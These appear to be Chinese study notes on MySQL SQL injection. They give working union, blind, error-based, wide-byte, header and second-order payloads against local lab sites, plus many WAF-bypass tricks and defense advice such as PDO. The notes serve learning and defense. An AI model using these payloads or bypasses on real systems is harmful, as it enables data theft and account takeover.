【SQL注入】之SQL注入相關知識及MySQL注入


(本文僅為平時學習記錄,若有錯誤請大佬指出,如果本文能幫到你那我也是很開心啦)

 

一、介紹

1.SQL注入漏洞的本質:后端代碼再執行過程中,將用戶輸入的數據也當作代碼來執行,違背代碼和數據相分離原則

2.注入的原因:前端傳遞的參數可以隨意控制,參數可控;后端對前端傳遞過來的數據沒有過濾,或過濾不嚴謹,最終導致SQL注入

3.SQL注入漏洞有兩個關鍵條件:

  • 用戶能控制輸入的內容
  • Web應用把用戶輸入的內容帶入到數據庫中執行

4.危害:數據泄露、脫庫、篡改網站、破壞數據庫、植入后門、getshell等等

5.分類:

  • 請求方式:get post cookie
  • 參數形式:整型 字符型 搜索
  • 反饋類型:報錯 union 布爾(時間或頁面顯示狀態) 延時
  • 數據庫類型:access mssql mysql oracle nosql等等
  • 利用技術:布爾 報錯 內聯 堆疊 時間 聯合

6.防御:

  • GPC/RUNTIME魔術引號(PHP擴展)
1 GPC(magic_quotes_gpc):對接受到用戶瀏覽器的數據中的特殊字符進行過濾,轉義;只負責對GET,POST,COOKIE的值進行過濾
2 RUNTIM(magic_quotes_runtime):對從數據庫或者文件中獲取的數據進行過濾
  • 使用具有過濾功能的函數和類
1 函數:
2 addslashes函數
3 mysql[real]escape_string函數
4 intval等字符轉換
5 編譯語句來綁定變量(mysqli擴展與pdo擴展連接數據庫操作)類:PDO
  • 設計輸入驗證和處理策略:使用WAF
  • 其他防護方案
1 領域驅動的安全性:通過將數據封裝到有效值對象中,並限制對原始數據的訪問
2 編碼輸出

 

二、常用的數據庫函數以及常量

 1 @@tmpdir  查看臨時目錄
 2 @@datadir  數據存放的位置
 3 @@basedir  數據庫服務所在位置
 4 @@version  查看版本號
 5 @@hostname  查看當前用戶名
 6 ascii()  返回字符串str的最左字符的數值
 7 user()  獲取登陸用戶名
 8 version()  獲取當前版本號
 9 database()  獲取當前數據庫
10 concat()  將多個字符串連接成一個字符串
11 group_concat()  將group by產生的同一個分組中的值連接起來,返回一個字符串結果
12 concat_ws()  將多個字符串連接成一個字符串
13 sleep()  休眠
14 ord()  顯示字符的ASCII
15 length()  計算字符串長度
16 
17 截取字符串:
18 substr() oracle mysql mssql
19 substring() MySQL mssql
20 mid() mysql
21 注:均有三個參數,第一個是被截取的字符,第二個是開始索引,第三個是截取的長度
22 left(pa1,pa2) pa1是被截取的字符串,從左開始截取,pa2是截取的位數
23 right(pa1,pa2) pa1是被截取的字符串,從右開始截取,pa2是截取的位數
24 
25 條件判斷:
26 if(條件,條件為真時的返回值或語句,條件為假時的返回值或語句)
27 case when 條件 then 條件為真時的返回值或語句 else 條件為假時的返回值或語句 end
28     如:select 1,case when 1=1 then ‘hello’ else ‘goodbye’ end,3 --+
29 
30 聯合查詢
31 select * from users where id=1 union select “a”,”b”,”c”;
32 select * from users where id=0.01 union selcet 1,2,user(),4,@@databases; 

 

三、MySQL數據庫:一庫一表三字段

1.一庫:information_schema庫  存放系統庫,匯總(其他數據庫的庫名、表名、字段名)

2.一表:columns表  存放數據(庫名、表名、字段名)

3.三字段:

  • table_schema字段  存放其他數據庫的庫名
  • table_name字段  存放其他數據庫的表名
  • column_name字段  存放其他數據庫的字段名
1 select table_schema table_name column_name from information_schema.columns; 查詢三字段所對應的數據 2 select table_schema table_name column_name from information_schema.columns where table_schema=”dvwa”; 有條件的查詢 3 select table_schema table_name column_name from information_schema.columns where table_schema=0x64767761;  將dvwa轉為16進制

注:MySQL的版本號需要>5.0

 

四、手工注入

  • 測試使用搭建的jdy1.5網站,也可使用DVWA里面的SQL Injection模塊

1.檢測注入點:即可能存在SQL注入的地方,找到有類似id(id/uid/key、typeid/sid等等)的參數,后面需要輸入一些檢測的惡意代碼(payload):' 或 'and 1=1# 或 'and 1=2-- 或 -1' or '1'='1'等等

  • 需不需要單引號,是由后端拼接的SQL語句決定的,如(%23是#的URL編碼):
1 SELECT * FROM users WHERE id='$id' LIMIT 0,1
2     前端測試: id=1and 1=1%23
3 SELECT * FROM users WHERE id=$id LIMIT 0,1
4     前端測試:id=1 and 1=1%23
  • 輸入的惡意代碼被成功執行(根據頁面顯示效果以及報錯信息等來判斷),說明此處有SQL注入點
  • 接下來還要判斷注入的方式:根據頁面的回顯效果來決定使用哪種注入技術
  • 判斷從后台數據庫中選擇的列數以及哪幾列在前端顯示
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=1 order by 6#
  • 更換數字,根據頁面顯示效果判斷后台數據庫選擇的列數,5列(信息收集)
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,2,3,4,5%23
  • 根據頁面顯示效果可知在2的位置顯示到前端,即可將2替換為SQL語句

2.收集后台數據庫信息:

1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,user(),3,4,5%23 查看當前用戶 2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,database(),3,4,5%23 查看當前數據庫 3 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5%23
4     distinct 去重 5  group_concat 分組並拼接 6     空格可以用+代替

3.獲取當前數據庫下的數據表:

http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct table_name) from information_schema.columns where table_schema=database()),3,4,5%23

4.獲取當前數據庫下指定表下的字段名:

1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=’jdy_admin’),3,4,5%23
2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=0x6a64795f61646d696e),3,4,5%23
  • 一般需要找后台或敏感的數據表,0x6a6479636d73是‘jdycms’的16進制轉碼

5.獲取字段數據:

1 select concat(username,0x7e,password)from jdy_admin limit 0,1; 2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select concat(username,0x7e,password)from jdy_admin limit 0,1),3,4,5%23

6.解密:使用cmd5、pmd5等等

7.找后台登錄:可以猜、目錄掃描或信息收集等等

 

步驟總結:

1.檢測注入點

2.收集后台數據庫信息

3.獲取當前數據庫下的數據表

4.獲取當前數據庫下指定表下的字段名

5.獲取字段數據

6.解密

7.找后台登錄

 

五、盲注

盲注:用戶提交的數據在后台數據庫中執行之后,沒有返回任何數據,無法在前端顯示測試出的數據,需要使用盲注技術

類型:基於布爾的盲注、基於時間的盲注

 

六、盲注過程

1. 判斷注入點

1 http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and 1=1%23
2 http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and 1=1%23

2.判斷后台選擇列數

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' order by 4%23

3.沒有將結果顯示到前端,即下一行代碼沒有作用,就需要使用盲注

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' union select 1,2,3%23

4.收集數據庫信息

 

七、基於布爾的盲注

  • 測試使用sqli-labs第8關

1.探測注入點,使用'或1' and 1=1%23或1' and '1'=1或1' and 1=1#等等

(注:用戶提交的數據被帶入到后台數據庫中執行,根據頁面顯示效果判斷此處是否存在注入點)

2.收集數據庫信息(當前用戶名、當前數據庫、版本、所以數據庫等等)

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and length(user())=14%23

3.使用BP快速收集,操作步驟如下圖所示

  • 首先爆破用戶名、數據庫以及版本的字段長度,使用函數length()
    • 抓包

    • 選擇爆破的項

    • 為第一個項設置字典

    • 為第二個項設置字典

    • 添加查找關鍵字

    • 開始爆破

  • 爆破用戶名及當前數據庫名,使用函數ascii()
    • 網頁瀏覽下面的地址,判斷出用戶名首字母是r,后續依次去判斷
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr(user(),1,1))=114%23
    • 抓包

    • 選擇要爆破的項

    • 分別為第一個項和第二個項設置Payloads options有效載荷選項

    • 開始爆破,爆破結果對照ASCII碼表進行查找,即可得出所有用戶名

    • 爆破當前所在數據庫名,則要爆破的項

    • 分別為第一個項和第二個項設置Payloads options有效載荷選項

    • 根據爆破結果對照ASCII碼表進行查找,得出當前數據庫為security

4.查詢當前數據庫中的表

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=101%23
  • 先計算某個表名字的長度,然后再判斷每個字符,最終找到有價值的表名:users

5.獲取指定表中字段名

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select distinct column_name from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 0,1),1,1))=105%23  //0x7573657273是users的16進制
  • 字段名首字母是i,后續依次去判斷第一個字段名、第二個字段名等等,最后找出敏感的字段:username、password

6.獲取指定字段的數據

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select concat(username,0x7e,password)from users limit 0,1),1,1))=68%23  //0x7e是~的16進制

7.解密密文數據,登錄后台

 

八、基於報錯的注入

1.報錯的含義:利用報錯的函數構造測試的payload,數據庫執行之后會報錯,並將我們需要的數據帶出來,達到攻擊的目的

2.常用的報錯函數:floor()、extractvalue()、updatexml()等等

3.floor();

  • 報錯本質:創建虛擬表格時,執行主鍵查詢兩次出錯
  • 必須和count()(計數)、rand()(產生0-1之間的隨機小數,若給了參數(種子),就會根據該種子產生固定的值)、group by()(排序)等函數配合使用(能夠達到相同目的的函數都可以替換去使用)

select concat(user(),floor(rand(0)*2));

select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x;

  • 錯誤1022(23000):無法寫入;表“C:\\用戶\\管理\\應用程序數據\\本地\\臨時\\ sql6abc_14e_0”中存在重復鍵
  • 解決方法:更換MySQL版本

  • 別名:
select 1 from dvwa.users a;

4.extractvalue(參數1,參數2);  

  • 作用:操作XML文件,從目標XML文件中返回查詢到的字符串
  • 參數1是string格式的XML文檔名,參數2是xpath格式的字符串(需要查詢的)
select extractvalue(1,concat(0x7e,(select user()),0x7e));

select extractvalue(1,concat((select user()),0x7e));

2.updatexml(參數1,參數2,參數3);

  • 作用:更改XML文檔中符合條件的節點的值
  • 參數1 是XML文檔,參數2是xpath格式的字符串,參數3是string格式的替換查找符合條件的數據
select updatexml(1,concat(0x7e,(select user()),0x7e),1);

select * from dvwa.users where user_id=1 limit 0,1;

select updatexml(1,concat(0x7e,(select concat(user,0x7e,password) from dvwa.users where user_id=1 limit 0,1),0x7e),1);

select concat(user,0x7e,password) from dvwa.users where user_id=1 limit 0,1)

注:后兩者報錯的長度有限制是32位

 

九、報錯注入步驟

  • 測試使用sqli-labs第五關

1.測試注入點

2.獲取當前數據庫信息

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and extractvalue(1,concat(0x7e,(select database()),0x7e));%23+

3.獲取當前數據庫表名(下面的步驟只需替換代碼中的紅字部分即可)

4.獲取指定表中的字段

5.獲取內容

6.解密,登錄系統

 

、寬字節注入

1.原理:使用PHP連接MySQL的時候,當設置set character_set_client=gbk時會導致一個編碼轉換注入問題,也就是寬字節注入。當存在寬字節注入漏洞時,在注入的參數里加入%df%27,即可把程序中過濾的"\"(即%5c)“吃掉”

  • GBK編碼:針對漢字的一種編碼方式,使用2個字節編碼1個漢字,用16位表示1個漢字

2.常用函數

  • mysql_query("SET NAMES 'gbk'");//設置字符集編碼,對數據庫執行之后的結果進行某種編碼(GBK)然后傳遞給用戶,返回GBK編碼的查詢結果
  • mysql_set_charset("GBK");//方便MySQL字符集設置編碼,設置字符集編碼,規定當與數據庫服務器進行數據傳送時要使用默認字符集
  • mysql_real_escape_string();//對參數進行過濾轉義,具有相似功能的函數還有:addslaches()、mysql_escape_string()(PHP5.3以及之后的版本被廢除)、魔術引號(magic-quotes_gpc模塊)等,針對特殊符號’  “  \  null  <  >等進行轉義

 

十一、寬字節注入過程

  • 測試使用自己搭建的gbksql站點
 1 <?php
 2 //連接數據庫部分,注意使用了gbk編碼
 3 $conn = @mysql_connect('localhost', 'root', 'root') or die('bad!');
 4 mysql_query("SET NAMES 'gbk'");//設置字符集編碼,對數據庫執行之后的結果進行某種編碼(GBK)然后傳遞給用戶,返回GBK編碼的查詢結果
 5 //mysql_set_charset("GBK");//方便MySQL字符集設置編碼,設置字符集編碼,規定當與數據庫服務器進行數據傳送時要使用默認字符集
 6 mysql_select_db('test', $conn) OR emMsg("連接數據庫失敗,未找到您填寫的數據庫");
 7 //執行sql語句
 8 //$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
 9 $id = isset($_GET['id']) ? mysql_real_escape_string($_GET['id']) : 1;//對參數進行過濾轉義
10 $sql = "SELECT * FROM news WHERE tid='{$id}'";
11 echo $sql."<br/>";
12 $result = mysql_query($sql, $conn) or die(mysql_error());
13 ?>
14 <!DOCTYPE html>
15 <html>
16 <head>
17 <title>新聞</title>
18 </head>
19 <body>
20 <?php
21 $row = mysql_fetch_array($result, MYSQL_ASSOC);
22 echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";
23 mysql_free_result($result);
24 ?>
25 </body>
26 </html>
測試主要使用代碼.php

1.檢測注入點:

  • 訪問站點http://127.0.0.1/gbksql/01/?id=1'

    • 執行結果不受影響
  • 在http://127.0.0.1/gbksql/01/?id=1'后面加上%df(只要高位在81~fe之間的都可以使用),為http://127.0.0.1/gbksql/01/?id=1%df'

  • 這里的1%df -經過過濾轉義-> 1%df\' -經過GBK編碼-> 1%df5c' => 1運' 數據庫報錯,多一個單引號
1 后端本身代碼:$sql = "SELECT * FROM news WHERE tid='$id'";
2 前端輸入1%df'后,后端執行的代碼:$sql = "SELECT * FROM news WHERE tid=' 1運' ' "; --> 報錯,這就是注入點

2.判斷列數:http://127.0.0.1/gbksql/01/?id=1%df' order by 3%23

3.信息收集:http://127.0.0.1/gbksql/01/?id=-1%df' union select 1,2,3%23

4.后面的步驟將2,3其中一個替換為SQL語句即可

  • 測試使用sqli-labs第32關

1.判斷注入點:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'

  • 可以看到前端的報錯信息中顯示亂碼\,一般為寬字節注入

2.判斷列數:http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' order by 3%23

3.信息收集:http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,3%23

4.獲取數據庫信息:

  • http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,user(),3%23

  • http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,database(),3%23

 

十二、防御寬字節注入

1.方法:

  • 使用mysql_set_charset(“GBK”)設置編碼,然后使用mysql_real_escape_string()進行轉義
  • 使用PDO方式,在PHP 5.3.6及以下版本中需要設置setAttribute(PDO::ATTR_EMULATE_PREPARES,false); 禁用preparcd statements 的仿真效果

2.PDO的使用過程:連接數據庫 --> 設置模板 --> 綁定數據 --> 執行SQL語句

1 <?php
2 $dbh = new PDO("mysql:host=localhost;dbname=demo","user","pass");//連接數據庫
3 $dbh -> exec("set names 'GBK'");
4 $sql = "select * from test where name = ? and password = ?";//設置模板
5 $stmt = $stmt -> execute(array($name,$pass));
6 ?>

3.PDO防止SQL注入方法:

$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
  • setAttribute()這一行是強制性的,它會告訴 PDO 禁用模擬預處理語句,並使用real parepared statements,確保了SQL語句和相應的值在傳遞到mysql服務器之前是不會被PHP解析的(禁止了所有可能的惡意SQL注入攻擊)

4.PDO防止SQL注入原理:當調用 prepare() 時,查詢語句已經發送給了數據庫服務器,此時只有占位符?發送過去,沒有用戶提交的數據;當調用到 execute()時,用戶提交過來的值才會傳送給數據庫,他們是分開傳送的,兩者獨立的

(PDO防止SQL注入來源於shadowflow的
https://www.jianshu.com/p/c0deb8061718文章,十分詳細,感謝!!!)

 

十三、二次編碼注入

1.原理:當提交參數到WebServer時,WebServer會自動解碼生成單引號而引發注入;瀏覽器會對from表單中的數據進行一次URL編碼,到達服務器之后會默認解碼

2.編碼問題:URL編碼是一種瀏覽器用來打包表單輸出的格式,URL編碼就是一個字符ASCII碼的16進制,不過稍微有些變動,需要在前面加上“%”,比如“\”,它的ASCII碼是92,92的十六進制是5c,所以“\”的url編碼就是%5c

3.PHP中URL解碼函數:urlsecode()、rawurldecode()

  • 注:默認的GET和POST請求,PHP會先解碼一次

4.測試使用代碼:

 1 <?php 
 2 echo "<meta charset='utf-8'>";
 3 $id = $_GET[ 'id' ];
 4 echo "第一次解碼:".$id."<br/>";
 5 $id = addslashes($id);//過濾
 6 $id = urldecode($id);
 7 echo "第二次解碼:".$id."<br/>"; 
 8 //$id = rawurldecode($id);
 9 $sql = "select * from users where user_id='$id'";
10 echo($sql)."<br>";
11 $conn=mysqli_connect("localhost","root","root","dvwa");
12 $re=mysqli_query($conn,$sql);
13 if (mysqli_num_rows($re)>0) {
14     $row=mysqli_fetch_assoc($re);
15     echo $row["first_name"]."<br>";
16     echo $row["last_name"]."<br>";
17 }
18 
19 mysqli_close($conn);
20  ?> 

5.注入主要過程:

  • 檢測注入點:http://localhost/gbksql/test.php?id=1%2527

  • 判斷列數:http://localhost/gbksql/test.php?id=1%2527 order by 8%23

 

十四、HTTP頭部注入

1.HTTP頭部部分參數詳解:

  • User-Agent:瀏覽器向服務器表明自己的身份,使得服務器能夠識別客戶使用的操作系統,游覽器版本等
  • Cookie:網站為了辨別用戶身份、進行 session 跟蹤而儲存在用戶本地終端上的數據(通常經過加密)
  • X-Forwarded-For:簡稱XFF頭,它代表客戶端,也就是HTTP的請求端真實的IP,(通常一些網站的防注入功能會記錄請求端真實IP地址並寫入數據庫or某文件[通過修改XXF頭可以實現偽造IP])
  • Rerferer:瀏覽器向 WEB 服務器表明自己是從哪個頁面鏈接過來的
  • Host:客戶端指定自己想訪問的WEB服務器的域名/IP 地址和端口號

2.注入主要過程:

  • 測試使用sqli-labs第18關
    • 主要代碼:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
  • 測試注入點:
    • 抓包,修改User-Agent為User-Agent: test'(通過頁面顯示效果得知),此時后端代碼就會變成下面的代碼
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('test'', '$IP', $uname)";

    • 修改User-Agent為User-Agent: test','1','2') %23,此時后端代碼就會變成下面的代碼
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (' test','1','2') %23', '$IP', $uname)";

    • 根據回顯,修改User-Agent為User-Agent: test','1','2') #

    • 查看是否將地址1和用戶名2寫入了后端數據庫中

    • 如下圖所示已將地址1和用戶名2成功寫入后端數據庫

  • 獲取數據庫信息
    • 修改User-Agent為User-Agent: 'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1(根據回顯,使用報錯注入),此時后端代碼就會變成下面的代碼
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (''and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1', '$IP', $uname)";

    • 修改User-Agent為User-Agent: 'and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

 

十五、二次注入

1.原理:所謂二次注入是指已存儲(數據庫、文件)的用戶輸入被讀取后再次進入到 SQL 查詢語句中導致的注入。比普通SQL注入利用更加困難,利用門檻更高。普通注入數據直接進入到 SQL 查詢中,而二次注入則是輸入數據經處理后存儲,取出后,再次進入到 SQL 查詢

  • 二次注入的主要過程就是:存入惡意數據、從后端取出惡意數據、利用惡意數據

2.分析sqli-labs第24關的主要代碼

  • 存入惡意數據
    • 前端用於存入數據的頁面

    • 后端存入惡意數據的代碼(文件名為login_create.php):
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";//存數據
  • 從后端取出惡意數據
    • 后端取出惡意數據的代碼(login.php):
 1 function sqllogin(){
 2    $username = mysql_real_escape_string($_POST["login_user"]);
 3    $password = mysql_real_escape_string($_POST["login_password"]);
 4    $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
 5 //$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
 6    $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
 7    $row = mysql_fetch_row($res);
 8     //print_r($row) ;
 9    if ($row[1]) {
10             return $row[1];//1對應的是用戶名,從數據庫中取數據
11    } else {
12               return 0;
13    }
14 
15 }
  • 利用惡意數據
    • 前端用於利用數據的頁面

    • 后端利用惡意數據的代碼(pass_change.php):
1 $username= $_SESSION["username"];//$username從session里拿出來的
2 $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";//可利用惡意數據的地方

3.注入sqli-labs第24關過程:

(本次注入目的是在密碼未知的情況下,使用二次注入更改已有用戶admin的密碼)

  • 查看當前數據庫所有用戶信息

  • 進入24關,點擊New User click here?,創建新用戶admin'#

  • 進入數據庫查看當前所有用戶信息

  • 登錄用戶admin'#

  • 更改用戶admin'#的密碼為123.com

    • 密碼更改成功

  • 再次進入數據庫,查看當前所有用戶信息
    • 可以看到用戶admin'#的密碼並沒有更改,更改的是admin的密碼

  • 這里利用的是:更改密碼時,后端代碼變成下面的樣子,admin后面的#將后面的內容注釋掉,admin后面的'與前面的'閉合,所以更改的就是admin的密碼
$sql = "UPDATE users SET PASSWORD='$pass' where username=' admin'# ' and password='$curr_pass' ";

 

十六、SQL注入繞過WAF

1.WAF介紹:Web應用防護系統(也稱:網站應用級入侵防御系統。英文:Web Application Firewall,簡稱:WAF),也叫Web防火牆,主要是對Web特有入侵方式的加強防護,如DDOS防護、SQL注入、XML注入、XSS等

2.WAF分類

  • 代碼WAF:將規則寫在web代碼中,並去匹配,來過濾。
  • 軟件WAF:監聽端口或以Web容器擴展方式進行請求檢測和阻斷
  • 硬件WAF:專門硬件防護設備,代理流量,並做分析,再做是否轉發的處理
  • 雲WAF:通過dns域名移交技術,將流量暫時發送到檢測中心節點,通過檢測后,再發送到真實服務上

3.WAF工作流程:

  • 身份認證白名單(白名單IP、白名單Cookie、白名單User-Agent、白名單Referer等等)
  • 數據包解析應用層WAF(如匹配id=data部分的數據)
  • 規則匹配根據不同的規則,有不同的繞過方法(進行黑盒測試,可進行代碼審計叫白盒測試)

4.繞過WAF:

  • 大小寫(/正則大小寫/i,不區分大小寫,可過)
select * from users where id ='1 ' uNion SelEcT 1,2,3,4--+
  • 關鍵字重復寫(針對檢測到某個關鍵詞,替換為空的情況)
select * from users where ID=1 ununionion selselectect 1,2,3,4%23
  • 編碼
1 select  * from users where id=2%2bunion%2bselect%2b1,2,3,4--+ //%2b是+的URL編碼
2 union ---> 0x756e696f6e20
3 select * from users where ID=1 %75nion select 1,2,3,4%23
    • 編碼方式
      • URL編碼:針對特殊情況可以兩次URL編碼

空格

%20
單引號 %27
左括號 %28
右括號 %29

 

      • 16進制編碼:針對某些數據,如:特殊字符、特殊字符串等等
      • Unicode編碼:給所有的字符指定了一個數字用來表示該字符,通常用兩個字節表示一個字符,高位不足使用0填充

單引號

%u0027、%u02b9、%u02bc、%u02c8、%u2032、

%uff07、%c0%27、%c0%a7、%e0%80%a7

空格 %u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括號 %u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括號 %u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
      • 二進制編碼
      • 八進制編碼
  • 內聯注釋
/* */或union/**/select/**/1,2,3%23
  • 黑魔法
select{x user}from{x mysql.user}; 
  • 換行符繞過
%23%0a   %2d%2d%0a
  • 等價函數替換
1 verion()  @@version
2 mid   substr   substring
3 @@datadir  datadir()
4 hex()  bin()  ascii()
5 sleep()  benchmark()
6 user()  @@user
  • 等價符號替換
1 and  &
2 or  ||
3 =  ><
  • 特殊符號
1 +、#、%23--+、\\\\
2 +:用於字符串連接
3 @符號:用戶自定義變量
4 @@符號:系統變量
5 select @&1.from dvwa.users;
6 select`version`();
  • 內聯注釋加!
1 select * from users where id = 1 /*!union//**//*!select//**/1,2,3,4--+
2 select * from dvwa.users where user_id=1 /*!union*/ /**/ /*!select*/ /**/ 1,2,3,4,5,6,7,8; 
  • 緩沖區溢出(針對老版本的安全狗和WAF)
?id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version(),4,5,database(),version(),8,9,10,11,12,13,14,15,16,17,18
    • 例子上的 0xA*1000  指的是0XA后面的 "A" 重復1000次,一般來說對應用軟件構成緩沖區溢出都需要比較大的測試長度,這里1000僅供參考,在一些情況下也可以更短
  • MySql 特性繞過
1 =  等於
2 :=  賦值
3 @  @+變量名可直接調用
4 select @test:=user();
  • 隱私類型轉換
1 select 'a'=0;//返回值為1
2 select '1admin'=1;
  • 分塊傳輸

 

  • 參數污染

 

5.繞過解析

select * from admin where id=1[1] union [2] select [3]1,user()[4] from [5]admin
  • 第一部分:

(1)內聯注釋

/**/  /*!50000union*/

(2)空白%09 %0a %0b %0c %0d %20

id=1%0bunion select 1,user() from admin

(3)浮點數形式  1.2   4.2

id=1.0union select 1,user() from admin

(4)1E0

id=1e0nuion select 1,user() from admin

(5)\

id=\Nunion select 1,user() from admin
  • 第二部分:

(1)空白

(2)注釋符

/**/   /*123213*/

(3)括號

id=1 union(select 'test','1',(select user() from admin limit 0,1))
  • 第三部分:

(1)空白

(2)注釋符號

(3)其他字符

1 !    %21
2 +    %2b
3 -    %2d
4 @    %40
5 ~    %7e
6 select * from admin where id=1 union select~1,user(),version()

(4)其他方式

1 括號   select * from admin where id=1 union select(1),user(),version()
2 內聯   select * from admin where id=1 union /*!50000select*/1,user(),version()
3 {}  select * from admin where id=1 union select{x 1} user(),version()
4 " "  select * from admin where id=1 union select"1" user(),version()
5 \N     select * from admin where id=1 union select\N ,user(),version()
  • 第四部分:

(1)空白

(2)注釋符

(3)浮點數、1E0 、\N

(4)其他符號

1 `      select * from admin where id=1 union select 1,2`from admin`;
2 “”     select * from admin where id=1 union select 1,2"from admin";
3 括號  1 union select 1,user(),(3)from dvwa.users#
4 內聯注釋符號
  • 第五部分:

(1)空白

(2)注釋符號

(3)其他符號

1 內聯注釋符號
2 () 
3 {}    select * from admin where id=1 union select 1,2 from{x   admin};

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM